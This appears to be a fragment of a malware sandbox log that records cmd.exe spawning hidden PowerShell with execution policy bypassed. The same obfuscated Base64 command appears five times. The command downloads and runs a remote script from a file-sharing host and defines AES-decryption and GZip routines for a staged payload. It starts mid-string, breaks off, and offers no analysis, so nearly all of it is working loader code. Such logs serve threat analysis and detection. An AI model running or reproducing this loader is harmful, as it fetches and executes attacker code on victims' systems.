yZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command 